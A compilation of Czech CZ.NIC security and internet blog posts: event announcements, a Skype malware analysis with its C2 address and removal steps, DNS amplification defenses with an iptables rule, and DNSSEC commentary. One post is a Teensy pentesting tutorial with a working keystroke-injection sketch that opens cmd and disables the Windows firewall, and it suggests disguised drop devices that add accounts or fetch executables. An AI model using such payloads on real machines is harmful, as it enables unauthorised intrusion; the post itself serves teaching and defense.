Období května a června je už několik let v CZ.NIC ve znamení finálních příprav na konferenci Internet a Technologie. A po roční pauze, kdy jsme „ITčko“ vystřídali za IPv6 den (IT 12 bylo potom v listopadu), se k této tradici opět vrátíme. A kdyby vám snad přísun internetových témat z CZ.NIC pro letošní jaro nestačil, máme dobrou zprávu – na naši konferenci naváže první Peering Day, který chystá NIX.CZ. U obou akcí už se můžeme podělit o důležité detaily včetně termínu, tak si je pojďme představit blíže.
Pokud jde o Internet a Technologie 13, do diářů si už teď můžete poznamenat, že se uskuteční 20. a 21. května v Ballingově sále Národní technické knihovny v pražských Dejvicích. První den konference bude věnovaný tématům spojeným s IPv6, v plánu je opět panelová diskuse. V jednom z prvních bloků se představí registrátoři (ACTIVE 24, INTERNET CZ, WEDOS Internet a ZONER software) a na závěr první části dostanou slovo kolegové z Laboratoří CZ.NIC. Druhý den se mohou zájemci těšit na prezentace pana Jiřího Peterky, Martina Semráda z NIX.CZ nebo na panelovou diskusi o chystaném kybernetickém zákonu. Ale připravujeme toho mnohem víc. Co konkrétně, to prozradíme až na začátku května se spuštěním stránek IT 13 s kompletním programem a přihlašovacím formulářem.
Jen dva dny na to se na Letišti Václava Havla uskuteční vůbec první konference o tématech propojovacích uzlů ve středoevropském regionu. Pořádá ji NIX.CZ, český peeringový uzel, společně se svým vídeňským protějškem VIX.at. Témata přednášek jsou tedy poměrně jasná; mluvit se bude o peerování, o datacentrech, o spolupráci mezi IXP atd. Mezi přednášejícími budou například hosté z RIPE NCC a EURO-IX, českou odbornou veřejnost zde zastoupí například Ondřej Filip z CZ.NIC s příspěvkem o routovacím démonu BIRD. Více informací o této výjimečné akci najdete na webu NIX.CZ opět na začátku května.
Konec května tedy bude patřit internetu a internetovým technologiím. Že si nejsou obě akce nijak vzdálené, dokumentuje i „konferenční dopravní autobusová linka“. Z Vítězného náměstí se na Letiště Václava Havla dostanete za pár minut populárním spojem číslo 119.
Vilém Sládek
Teensy jako nástroj pro penetrační testování
USB je stále často podceňovaným místem, přes které může být kompromitován operační systém. Kromě klasického šíření malware pomocí USB Mass storage disků, Flash disků s podporou U3, které umožňují obejít dnes již ve většině operačních systémů existující blokaci autorun funkce, a hardwarových keylogerů stojí za pozornost programovatelná zařízení, která se vůči systému chovají jako klávesnice. Jedno takové zařízení bych tu dnes chtěl krátce prezentovat.
Pro fanoušky open-source platformy Arduino nebude pravděpodobně ani Teensy zcela neznámé. Pro ty, kteří zatím neměli tu čest, jen krátké představení. Jedná se o jednočipové počítače, které jsou vhodné pro různé jednoúčelové aplikace jako je řízení, či regulace. Takové Arduino můžete například použít k řízení nějakého vašeho vozítka či na něm naprogramovat jednoduchý webový server a připojit jej k internetu. My se však dnes zaměříme na Teensy a především na možnost využití tohoto zařízení k penetračnímu testování.
Toto zařízení má totiž hned tři výhody, je malé, takže se snadno vměstná například do útrob počítačové myši, jeho pořizovací cena je kolem $20 a především, z pohledu počítače se umí hlásit jako MIDI/USB/HID zařízení, což mimo jiné znamená, že počítač jím zadaná data interpretuje jako povely od uživatele. Tady se právě otevírá cesta pro využití při penetračním testování. Ale pojďme pěkně po pořádku.
Teensy ++ 2.0 ve srovnání s běžným flash diskem
Kromě samotného zařízení – já jsem vše testoval na Teensy ++ ve verzi 2.0 – potřebujeme ještě obslužný software. Pokud si chcete následující proceduru ušetřit, můžete sáhnout po distribuci Backtrack 5 R3, kde už je jak ADE, tak i podpora pro Teensy implementována. V opačném případě na této adrese stáhneme nejdříve Arduino Development Environment (ADE) pro námi požadovanou platformu a rozbalíme jej na disk. Pokud pracujeme na linuxu, pak musíme ještě udělit non-root uživatelům práva k použití Teensy.
sudo cp 49-teensy.rules /etc/udev/rules.d/
Arduino software však sám o sobě nepodporuje Teensy, je proto potřeba podporu pro Teensy doinstalovat. Stáhneme tedy instalátor rozšíření teensyduino pro náš OS a spustíme jej. Během instalace teensyduino budeme vyzváni k zadání cesty k rozbalenému software pro Arduino. V aplikaci ADE by se měla nyní objevit podpora pro Teensy. Po spuštění programu ještě vybereme naši desku, v mém případě Teensy ++ 2.0 a jako USB Type nastavíme kombinaci Keyboard+Mouse+Joystick.
Nastavení programu Arduino Development Environment
Nyní již zbývá jen připojit naše zařízení. Pokud si chceme ověřit, že vše správně funguje, můžeme nahrát náš první program. Než se pustíme do vlastních programů, můžeme využít předpřipravené ukázky. Pod File –> Examples –> Teensy najdeme množství připravených prográmků, kterým se zde říká Sketch. Na první vyzkoušení doporučuji položku Tutorial1 –> Blink. Po nahrání zdrojového kódu klepneme na upload, náš sketch se automaticky zkompiluje a nahraje do zařízení. Po úspěšném nahrání by na zařízení měla začít blikat dioda. Pokud se tak nestalo, zkuste zmáčknout tlačítko, které je na desce.
Pro psaní vlastních programů použijeme jazyk Arduino Programmable Language, lze však použít i klasický programovací jazyk C. Každý sketch musí vždy obsahovat funkce setup a loop, jinak jej kompilátor nepřijme.
Základ každého programu pro Teensy
Začněme klasikou, následující program, díky skutečnosti, že se Teensy chová po připojení k počítači jako klávesnice, vypíše „Hello World“.
void setup()
{
Keyboard.print("Hello World");
}
void loop()
{
}
Pro informaci, pokud bychom příkaz umístili do smyčky loop, bude se Hello World vypisovat stále dokola. Nyní se pojďme podívat, jaké další zajímavé věci můžeme vyzkoušet.
Pokud se podíváme na tuto adresu, můžeme si najít informace o možnostech zadání všech obvyklých znaků. Zajímavé jsou také Modifier Keys, což jsou funkční klávesy, kde například MODIFIERKEY_GUI je vlastně klávesa WIN. Pojďme se nyní podívat, jakým způsobem může této skutečnosti využít útočník. Následující sketch provede tyto kroky – na začátku vyčká 5000ms, to aby došlo ke korektnímu připojení zařízení k operačnímu systému. Dále spustí klávesovou zkratku WIN R, což ve windows vyvolá okno pro spuštění programu. Do něj pak zapíše příkaz cmd pro spuštění příkazové řádky. Ve finále pak příkazem netsh firewall set opmode disable vypne firewall ve windows.
void setup()
{
delay(5000);
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
delay(500);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("cmd");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
delay(2000);
Keyboard.print("netsh firewall set opmode disable");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}
void loop()
{
}
Takto po připojení k počítači s OS windows dojde k vypnutí firewallu, na což windows zareagují informací o možném ohrožení počítače
Jak je vidět, Teensy se skutečně chová z pohledu PC jako klávesnice. Díky možnostem, které nabízí unixové shelly nebo třeba powershell ve windows, otevírá toto zařízení zajímavé možnosti při penetračním testování. Představte si, že toto zařízení zamaskujete jako počítačovou myš, USB disk či nějaký USB gadget a necháte jej ležet na vhodném místě, třeba na recepci a nahrajete do něj vlastní kód, který pomocí powershellu například přidá nový účet a spustí remote desktop. I přes fakt, že si většina těchto prográmků otevře nejdříve okno pro zadávání příkazů, jsou prý útoky pomocí tohoto zařízení úspěšné. Pokud si však jako oběť vybere útočník počítač běžného firemního uživatele, asi to není zas až tak divné. Ze své osobní zkušenosti ze společnosti, kde se používala Active Directory a kde se při každém přihlášení počítače spouštěli různé skripty, mohu říci, že jedno okno s MSDOS navíc bych při přihlášení nejspíš také nezaregistroval.
Osobně jsem se o tomto zajímavém zařízení dozvěděl při prezentaci o programu kautilya napsaném v jazyce Ruby, který umí generovat různé ukázkové sketche pro Windows, Linux i OS X zaměřené právě na penetrační testování.
Starší verze programu Kautilya ještě bez podpory OS X je již součástí distribuce Backtrack
Jeden z těchto sketchů dokáže například stáhnout spustitelný kód uložený na serveru pastebin v textovém formátu, převést jej zpět na exe a spustit jej na pozadí na počítači oběti. Další zase dokáží přidat nového administrátora, povolit vzdálenou plochu, či na pozadí spustit instanci prohlížeče s konkrétní URL.
Pojďme si ještě krátce říci, jak se lze proti zneužití takovéhoto zařízení vůči námi spravovaným počítačům bránit. Ve světě operačních systémů společnosti Microsoft můžeme pomocí skupinové politiky zakázat běžným uživatelům instalaci nového hardware. V linuxu pak můžeme pomocí UDEV rules například povolit pouze známá zařízení.
Microsoft nabízí přes gpedit.msc několik způsobů pro blokování instalace nových zařízení
Pavel Bašta
Jak se chytá malware
Včera jsme od jednoho uživatele z ČR obdrželi odkaz (http://www.goo.gl/XXXXXXX=IMG0540240-JPG), který dostal jeho známý přes Skype. Byli jsme požádáni o informaci, co se mohlo na tomto počítači stát, jaké to mohlo mít dopady a jak se případného viru zbavit. Zkusili jsme tedy analyzovat zaslaný odkaz v předem připraveném virtuálním prostředí. Samotná návštěva odkazu (zamaskovaný odkaz ve skutečnosti míří na IP adresu 94.242.198.64) vede k tomu, že je uživateli nabídnut ke stažení soubor s názvem IMG0540240-JPG.src.
Nepozorný uživatel snadno přehlédne skutečnou koncovku souboru, kterou je .scr
Po spuštění programu se v domovském adresáři aktuálního uživatele vytvoří složka S-500-9430-5849-2045, která je nastavena jako skrytá a systémová, takže při běžném nastavení Windows ji uživatel nevidí. V této složce je pak umístěn soubor winmgr.exe. Zároveň je do registrů přidán klíč Microsoft Windows Manager, kvůli zajištění automatického spuštění malwaru po startu Windows.
Program se po spuštění pokouší o připojení na IP adresu 94.242.198.64 na port 5050. Při našem prvním testu se mu to také podařilo, stáhl si instrukce a začal se pokoušet o rozesílání e-mailové pošty. Předpokládáme, že pokud by na testovacím systému byl funkční Skype, malware by se pokoušel šířit i jeho prostřednictvím. Bohužel se však v tu chvíli testovací systém odporoučel a nemáme tak k dispozici zachycené pakety pro detailnější analýzu. Při pozdějších pokusech se již malwaru se serverem kontaktovat nepodařilo. Server je nyní odpojen. Otázkou je, zda je to pouze dočasné nebo již byl odpojen definitivně.
Paket zachycený programem wireshark
Který program se pokouší o připojení lze dobře sledovat také pomocí programu TCPView
Soubor winmgr.exe jsme otestovali pomocí on-line nástroje virustotal.com a v současné chvíli jej rozpozná pouze 12 ze 46 antivirových programů. Bohužel mezi těmi „slepými“ jsou v současné chvíli i antiviry, které jsou hojně používané v ČR. Naštěstí podle analyzátoru společnosti Google na tento odkaz klikají především uživatelé v okolních zemích. Nelze však vyloučit, že u nás koluje jiný odkaz směřující na stejný malware a že tento odkaz může mít v ČR daleko více kliknutí.
Antiviry jsou zatím slepé
Na tento odkaz již kliklo 137 069 uživatelů
Jako obranu doporučujeme v první řadě neklikat na příchozí odkazy upozorňující uživatele na údajné fotky, na kterých by měli být zobrazeni, i když záminky, které mají uživatele donutit ke kliknutí, se mohou měnit. Pokud však již uživatel na odkaz kliknul a soubor spustil, je potřeba zachovat klidnou hlavu a v první řadě ukončit přes správce úloh proces winmgr.exe. Dále je potřeba smazat samotný soubor winmgr.exe ve složce S-500-9430-5849-2045. Je však potřeba nejdříve zapnout zobrazování skrytých a systémových souborů. Pak ještě odebereme z registrů klíč Microsoft Windows Manager a po restartu by mělo být již vše v pořádku.
Tento malware se nezdá být příliš sofistikovaný. Jeho závislost na jednom serveru i jeho relativně snadné odstranění ze systému ukazují spíš na práci někoho, kdo si možná jen chtěl vyzkoušet své možnosti. Přesto náš další krok bude distribuce vzorku tohoto malware antivirovým výrobcům.
UPDATE: Po napsání tohoto blogpostu se server na IP adrese 94.242.198.64 opět rozběhl. Stávající malware si z něho poté stáhl bratříčka, soubor bget.exe. Ten se v systému zahnízdil jako soubor 0584105130.exe v adresáři LOCALS~1\Temp\ v domovském adresáři uživatele. Tento soubor se v registru nachází hned na několika místech. Je tedy potřeba prohledat registr na výskyt „0584105130“ a všechny klíče odstranit. Po tomto kroku doporučujeme provést preventivní kontrolu systému některým z bootovatelných antivirových CD.
Pavel Bašta
Nežijeme v bublině
V ČR nežijeme v bublině, které by se netýkaly problémy počítačové bezpečnosti. Proto bychom se po delší době chtěli opět podělit o některé zajímavé incidenty, se kterými jsme se v průběhu přibližně posledního roku setkali. U některých z nich je navíc zajímavé, že jste se o nich mohli dozvědět jako o něčem, co se někde odehrává, ale co si možná podvědomě představujeme jako něco, co se děje tam někde „venku“. Děje se to však i u nás, a proto je potřeba věnovat otázce počítačové bezpečnosti adekvátní prostor. Snad vás o tom přesvědčí i příklady některých incidentů, které jsme v CSIRT.CZ řešili, a které ukazují, že bezpečnost se týká nás všech, uživatelů i administrátorů. Z důvodů zachování anonymity zainteresovaných stran bohužel nemůžeme být příliš konkrétní, ale i přesto doufám, že pro vás budou následující řádky varováním.
V červnu minulého roku nás CERT-EU informoval o útoku, při kterém byla uživatelům v některých zemích odeslána e-mailová zpráva, která vypadala jako oficiální komunikace Evropské komise. V té chvíli jsme ještě netušili, že neznámý malware obsažený v přiloženém MS Word dokumentu a v rámci ČR odeslaný úředníkům jednoho českého ministerstva a jedné zdejší bance vstoupí do dějin jako špionážní malware Red October. O jeho existenci byla veřejnost informována v lednu tohoto roku, kdy se ukázalo, že po několik let sledoval vládní, diplomatické a výzkumné organizace ve východní Evropě. To, že se podařilo díky spolupráci CSIRT týmů v Evropě zabránit infikování desítek uživatelů v různých institucích půl roku před objevením tohoto malware, považujeme za slušný úspěch.
V posledním půl roce také pravidelně spolupracujeme s US-CERT a to v souvislosti s výskytem botnetu, který pro své fungování využívá webové servery. Šíří se především prostřednictvím zranitelných verzí známých redakčních systémů, jako je Joomla či WordPress. I když se může na první pohled zdát, že zranitelných webů je méně než zranitelných domácích počítačů, menší počet jednotlivých zapojených „botů“ útočníkům vynahradí rychlé linky, na kterých jsou obvykle servery připojené. Takto napadené servery se dle našich informací momentálně zneužívají především pro DDoS útoky na cíle v USA. V podstatě každý týden dostáváme informace o desítkách nových webových serverů v ČR, které jsou tímto způsobem zotročeny.
Za zmínku také stojí spolupráce CERT.BE, který získal logy přístupů na webovou stránku umístěnou na serveru v Belgii. Tato stránka šířila nebezpečný malware, který některé antivirové programy vůbec nedokázaly detekovat. Mezi počítači, které tento web navštívily, bylo také několik IP adres z České republiky. Podle informací, které jsme od námi kontaktovaných správců obdrželi, se skutečně tyto počítače při návštěvě tohoto webu nakazily a jejich uživatelé neměli vůbec tušení, že jejich počítač je infikován.
Začátkem března jsme se také podíleli na distribuci informací o novém rootkitu pro Linux, který se v systému usadí v podobě knihovny spojené s SSHD a u kterého zatím není jasné, jakým způsobem se do systému dostává. Mezi potenciálně infikovanými servery bylo i několik serverů z ČR.
Na závěr bych ještě zmínil, že jsme se již setkali také s případem vydírání, kdy bylo po jednom menším serveru požadováno „výpalné“ s tím, že dokud nezačne platit, bude na něj pravidelně podnikán DDoS útok.
Jak je vidět, kybernetická kriminalita a útoky se nevyhýbají ani České republice a je třeba na to pamatovat při naší každodenní práci, ať už z pohledu uživatele, nebo z pohledu správce IT.
Pavel Bašta
Je email mrtvý?
Nedávno vystoupil v Hyde Parku na ČT24 Luis Suarez, ovšem nikoliv útočník FC Liverpool, ale, jak pravil moderátor, vizionář ve službách IBM. Jeho vize je v kostce tato: zahodit email a pro veškerou komunikaci používat sociální sítě. Jsem dalek toho, abych panu Suarezovi takový systém rozmlouval, pokud mu (zatím) funguje, těžko však mohu souhlasit s tím, když je prezentován jako obecný návod pro širokou veřejnost.
Stinné stránky sociálních sítí jsou již dostatečně známé. Pomineme-li ty, které si uživatelé sami způsobují svým neopatrným chováním, nejvážnějším problémem je fakt, že se profily osob a skupin, jakož i veškerá jejich komunikace, soustřeďují v rukou provozovatele sociální sítě. Ten pak z těchto dat může zajisté těžit informace pro různé účely, v lepším případě komerční. Email je naproti tomu stále velmi distribuovaná služba a každý její uživatel má možnost, aspoň principiálně, rozhodovat o tom, komu svá data a texty poskytne.
Zdá se však, že pro mnoho uživatelů se email stává docela obtížným břemenem, a tak snáze podléhají představě, že v silu sociální sítě jim bude líp. Možná si řeknete: no jasně, spam. Já si ale myslím, že běžný spam je docela dobře řešitelná záležitost a pro průměrného uživatele představuje jen okrajový problém.
Mnohem větším uměním je vyrovnat se s tím, co zbude po odfiltrování spamu, tedy se zprávami, které lze v podstatě považovat za legitimní. Znám řadu lidí, třeba i jinak dobře organizovaných, kteří s sebou jako kouli na noze táhnou inbox zvíci tisíců zpráv. Podle svého naturelu se tím pak zbytečně stresují anebo nereagují ani na důležité maily (případně obojí).
Dostupné technologie jim s tím bohužel příliš nepomohou. Běžní mailoví klienti typu GUI jsou zbytnělé kusy softwaru, které při práci s opravdu velkými mailovými archivy buď rovnou kolabují anebo se nesnesitelně zpomalí. Nástroje pro klasifikaci zpráv, vyhledávání apod. také obvykle nejsou na úrovni doby. Je charakteristické, že uživatelsky nejpříjemnější a technologicky nejpokročilejší jsou zase centralizované služby typu GMail. Jiné alternativy, jako je například projekt Notmuch, jsou stále v počátcích a pro řadového uživatele jen obtížně použitelné.
Otázka, jíž je nadepsán tento příspěvek, je možná sugestivní a odpověď je zatím naštěstí záporná. Zatím… Nejde snad tolik o mail jako takový, ale o princip distribuované aplikace, kterou nemá nikdo konkrétní plně v rukou. Mně se do sila nechce.
Ladislav Lhotka
Ochrana obětí před DNS amplification útoky
Posledních pár měsíců jsme byli svědky DNS útoků, které k amplifikaci používaly ANY dotazy na autoritativní servery s dostatečnou kapacitou. Jako reakce na tento druh útoků přišla DNS komunita s technikou Response Rate Limiting, takže kromě rate-limiting pravidel ve firewallu můžete dnes najít podporu RRL ve všech důležitých autoritativních serverech: BIND 9 (ve formě patche), NSD (od verze 3.2.15) a Knot DNS (od verze 1.2.0-rc3). Knot DNS navíc od verze 1.1.0 podporuje blokování dotazů na ANY; v případě, že DNS server dostane DNS dotaz na typ ANY, vrátí se pouze malá odpověď s nastaveným truncate (TC) bitem, která resolveru říká, že se má zeptat znovu přes TCP. Velcí operátoři DNS serverů tedy zareagovali poměrně rychle a nasadili buď novější nebo opatchované verze DNS serverů, nebo případně pravidla ve firewallech.
Dnes se zdá, že sezóna útoků založených na ANY dotazech je za námi a útočníci se v případě masivního DDoS útoku na Spamhaus vrátili k osvědčené technice zneužívání otevřených resolverů a TXT záznamů.
Důležité je zdůraznit, že jediná spolehlivá ochrana proti těmto útokům je buď omezení přístupu na otevřené resolvery pouze ze sítě, kde mají být dostupné, nebo v případě, že je takový resolver otevřený cíleně, tak přísný rate-limiting, který neomezí legitimní uživatele, ale útočníkům znemožní využívat DNS amplifikaci ve velké míře. Osobně se ovšem domnívám, že případů, kdy je otevřený resolver opravdu zapotřebí, by se dalo napočítat na prstech jedné ruky.
Pokud se budeme bavit o ochraně na trochu vyšší úrovni, tak finálním cílem bude donutit (nejlépe všechny) operátory k ingress filteringu (tedy BCP38), který by zabránil možnosti masově podvrhávat zdrojové IP adresy. Zde by byla zapotřebí spolupráce všech operátorů, aby při uzavírání smluv se zákazníky toto filtrování vyžadovali a vynucovali. Bude to ze začátku bolestivé, ale domnívám se, že se pomalu blížíme do situace, kdy liberální přístup nepomáhá vůbec nikomu kromě útočníků.
A protože lov na všechny otevřené resolvery, což si například klade za cíl Open DNS Resolver Project, je běh na dlouhou trať (skeptik by dodal, že je to spíše boj s větrnými mlýny), tak si pojďme rychle ukázat, jak se dá pomoci obětem DNS DDoS útoků pokud máte v síti otevřené resolvery zapojené do útoku.
Samozřejmě nejjednodušší řešení je na odchozím firewallu nastavit blokování veškerého UDP provozu na IP adresy cíle. Ale to bychom tak říkajíc s vaničkou vylili i dítě a zaDoSovali cílový server ještě lépe než útočník, protože na postižené DNS servery občas také chodí legitimní dotazy, které je zapotřebí zodpovědět.
Pro blokování pouze takových DNS zpráv, které jsou součástí útoku, se dá využít jednoduchý příznak dotazy (QUERY) v hlavičce DNS zprávy. Legitimní DNS zprávy od klientů, které opravdu zajímá odpověď a nejsou jen součástí útoku, budou mít tento příznak nastavený na 0. Odražené DNS zprávy budou mít tento příznak nastavený na 1, což znamená odpověď. Na firewallu pak můžeme jednoduše spárovat cílovou IP adresu s tímto příznakem v DNS zprávě (v iptables například pomocí modulu u32), a odražené DNS zprávy blokovat.
Pomocí iptables bude tedy konfigurace na firewallu vypadat nějak takto:
iptables -A FORWARD -s <vase_sit/maska> -d <victim_ip>
-p udp --sport 53 \! -f
-m u32 --u32 "0>>22&0x3C@8>>15&0x01=1" -j LOGDROP
Toto pravidlo loguje a blokuje (v případě, že máte nadefinovaný chain LOGDROP) všechny UDP odpovědi na portu 53 (-p udp --dport 53), které nejsou fragmentované (\! -f) a na nejvyšší pozici dvou bajtu DNS hlavičky je nastavená 1. (Mimochodem se zdá, že v příkladu z manuálu netfilteru, který jsem použil je chyba, a autora příkladu zmátlo to, že DNS dotaz je specifikován bitem QR=0.)
Pokud jste si jistí, že síť, kterou firewallujete nemá obsahovat žádné DNS servery, které by měly dávat odpovědi ven, tak můžete vyhodit část pravidlo s ‚-d
V případě jiných firewallů je zapotřebí se začíst do dokumentace, v komentářích pak uvítám, pokud se podělíte s tím, jak dosáhnout podobné kontroly v BSD ipf, na Ciscu nebo Juniperu.
Ondřej Surý
Zpomalování Internetu?
V souvislosti s nedávnými DDoS útoky proti službě SpamHaus.org otisklo mnoho médií názor, že tento útok je natolik masivní, že údajně dochází ke zpomalování Internetu. To je trochu silné vyjádření, které patrně pochází z blogpostu šéfa CloudFlare Matthew Prince. Pojďme se tedy na tuto věc podívat blíže.
Intenzita útoku byla skutečně mimořádně velká, hovoří se o cca 300Gbps provozu generovaného pomocí DNS amplification útoku. To skutečně není málo, a nesnese to samozřejmě vůbec srovnání s útoky, které se nedávno udály u nás. Ale je to dost na zpomalení Internetu? Odpovědí může být například pohled na tuto tabulku, která ukazuje kolik běžně proudí největšími peeringovými uzly. Když sečtete špičkové toky alespoň dvaceti největších z nich (mezi které mimochodem patří i Český NIX.CZ), dostanete se bohatě nad 10000Gbps (=10Tbps). A to pochopitelně zdaleka nereprezentuje veškeré toky Internetu. Jinými slovy, navýšení celkového toku Internetu bylo sotva v řádu pár procent. Uvědomme si, že nějaké globálně sledované události, jako třeba olympiády, v poslední době vygenerují toků mnohem více. Mohlo tedy dojít k významnému vlivu na rychlost globálního Internetu? Rozhodně ne!
Samozřejmě, mohlo dojít ke zpomalení Internetu lokálně, sám Prince ve svém článku výslovně uvádí, že někteří Britští zákazníci jejich společnosti měli potíže. To je poměrně logické, ale ostatní sítě nijak poškozeny nebyly. Prince ještě ukazuje graf, který má navodit dojem, že došlo k nějakým výpadkům v londýnském peeringovém centru LINX, ale pravdou je, že nikdo žádné problémy nedetekoval, že šlo spíše o problémy systému, který tyto grafy kreslí.
Mimochodem, povšimněte si, že toky samotného LINXu jsou v normálu hodně velké a 300Gbps navíc by jejich infrastruktura měla rozhodně ustát.
Tedy, ke zpomalení Internetu nedošlo, žádná velká senzace se nekoná. Prostě jsme jen byli svědky většího DDoSu. No a v dalším článku si povíme, jak by se těmto útokům mělo předcházet.
Ondřej Filip
Zajímavosti z průzkumu mezi českými uživateli internetu
Agentura Markent připravila před časem pro CZ.NIC průzkum, který byl věnovaný především zavedení znaků národních abeced do domény .CZ. Dokument však není jen o tomto tématu, zájemci v něm najdou řadu dalších statistik a informací. Výběr z nich najdete v tomto blogpostu.
Jedna z otázek určená respondentům se týkala povědomí o doménách prvního řádu. Jistě není překvapením, že za .CZ skončila .com, kterou uvedlo 89 % dotázaných, následovaná .eu (69 %), .sk (67 %), .org (45 %) a .co.uk (23 %).
Jedním ze zkoumaných témat bylo také psaní diakritiky ve zprávách. Téměř polovina uživatelů internetu háčky a čárky při psaní e-mailů nepoužívá. Převažují mezi nimi lidé mladší 20 let a obyvatelé měst s více než 100 000 obyvateli.
Vzhledem ke zpřístupňování internetu všem vrstvám a skupinám obyvatel v posledních letech není překvapivé, že 93 % respondentů uvedlo, že vlastní e-mailovou schránku. Následují graf zachycuje rozdělení mezi freemailovými a pracovními nebo školními e-mailovými schránkami a jejich průnik.
Další skupina dotazů se týkala provozu vlastního webu a provozování e-mailu na vlastní doméně. Zatímco vlastní WWW stránky provozují 2 procenta dotázaných, e-mail na vlastní doméně provozuje pouze několik respondentů. Nejčastěji využívanými webhostingy jsou Web zdarma, Forpsi, Banan.cz a Netstranky.cz. Mezi nejrozšířenějšími redakčními systémy patří PrestaShop, Joomla, web.dnes, Active24 nebo Bohemiasoft.
Více informací z průzkumu najdete na stránkách www.háčkyčárky.cz.
Vilém Sládek
Zprávy ze světa: MDM pomáhá s bezpečnostními incidenty na Slovensku
O aplikaci MDM jsme na tomto blogu již několikrát psali. Tentokrát se s vámi chci podělit o informace, které mě velmi potěšily. Před několika týdny jsem mluvil o MDM s kolegy z CSIRT.SK. Při tom jsem se dozvěděl, že u nich naše aplikace zaznamenala velký úspěch.
V polovině roku 2012 si kolegové ze Slovenska dali za úkol najít nástroj, který by jim zkrátil čas při vyhodnocování a následné správě incidentů, které obdrží od zahraničních partnerů. Trh s těmito nástroji je opravdu veliký a každému vyhovuje jiný model na správu incidentů. Mezi testovanými aplikacemi bylo i naše MDM, které kolegy zaujalo doslova na první pohled; sympatie si získalo i díky tomu, že je open source.
Slovenský bezpečnostní tým se rozhodl používat aplikaci MDM nejen pro zpracování informací o hrozbách v doméně .sk, ale také jako základní nástroj pro zpracovávání všech incidentů přijatých tímto národním CSIRT týmem. Proto změnili původní zpracování a zobrazení incidentů v samotné aplikaci a rozšířili také možnost administrovat jak incidenty s URL, tak i bez URL, například na základě IP adresy.
První testovací verze MDM byla na Slovensku nasazena od 24. září loňského roku do konce prosince. V tomto období zkoumali v CSIRT.SK funkčnost a přijímali připomínky a návrhy na zlepšení tohoto softwaru. Od 1. ledna mají naši aplikaci již pevně pod kontrolou. Aktuálně se jedná o verzi 2.0. a počet incidentů, které touto aplikací spravují, převýšil 27 tisíc.
Rádi bychom tedy našim slovenským „bratrům“ (jmenovitě kolegovi Martinu Jurčíkovi) poděkovali nejen za poskytnuté informace k tomuto článku, ale také za spolupráci. A samozřejmě také přejeme jen samá pozitiva a sociální jistoty :-) při používání naší aplikace.
Michal Prokop
DNSSEC validace na Google Public DNS. Jak to vlastně je?
Když před dvěma dny Google ohlásil, že na svém veřejném DNS podporuje DNSSEC validaci, tak mnohá srdce zaplesala. O to pak bylo větší zklamání, když se ukázalo, že tato služba v současné době validuje pouze na vyžádání. DNSSEC validace na vyžádání pak v podání Google Public DNS validuje DNSSEC pouze v případě, že byl dotaz zaslán s příznakem DO (DNSSEC OK) nebo AD (Authenticated Data).
Co to tedy přesně znamená, a proč je to vlastně jeden velký test?
První důvod je velmi jednoduchý. Takové chování je v rozporu se standardem RFC, které definuje chování validujícího resolveru (RFC 4033). Dle DNSSEC standardu tedy nelze nazývat Google Public DNS jako validující resolvery. Možná si řeknete, že nějaké dodržování standardů není důležité, ale pak si zkuste vzpomenout, jak jsme dopadli s prohlížeči a HTML, a jak dlouho se z toho už dostáváme.
Druhý důvod je techničtější a poněkud více komplikovaný. Aby systém používající Google Public DNS mohl využívat všechny výhody validace, musel by stub resolver v systémové knihovně podporovat zasílání DNS dotazů s příznakem DO nebo AD. Přiznám se, že jsem žádný takový stub resolver ještě neviděl. Druhá varianta je pak instalace lokálního resolveru, který takové dotazy posílat již umí. Jenže pak už asi neexistuje žádný rozumný důvod, proč nedělat validaci přímo na tomto resolveru, protože tím dosáhnete výrazného zvýšení bezpečnosti DNS ve vaší síti.
Naštěstí to není tak černé, jak to vypadá. Google po počáteční smršti jednak aktualizoval FAQ a jednak Ben Laurie z Google ohlásil, že toto je pouze počáteční testovací fáze, po které bude následovat zapnutí DNSSEC validace pro všechny uživatele této služby.
Takže i přes počáteční nevoli dávám Google palec nahoru za odvážný krok správným směrem. A teď už jenom potichu, ale třeba i nahlas, doufejme, aby také udělali krok na druhé straně a postupně začali podepisovat své domény. V České republice nás to tolik netrápí, protože co se týče validace i podepisování patříme mezi špičku, ale oba dva budoucí kroky na straně Google mají hlavně na mezinárodní úrovni velkou šanci rozseknout vejco-slepičí problém, kdy nikdo nevaliduje, protože nikdo nepodepisuje, a nikdo nepodepisuje, protože nikdo nevaliduje.
Ondřej Surý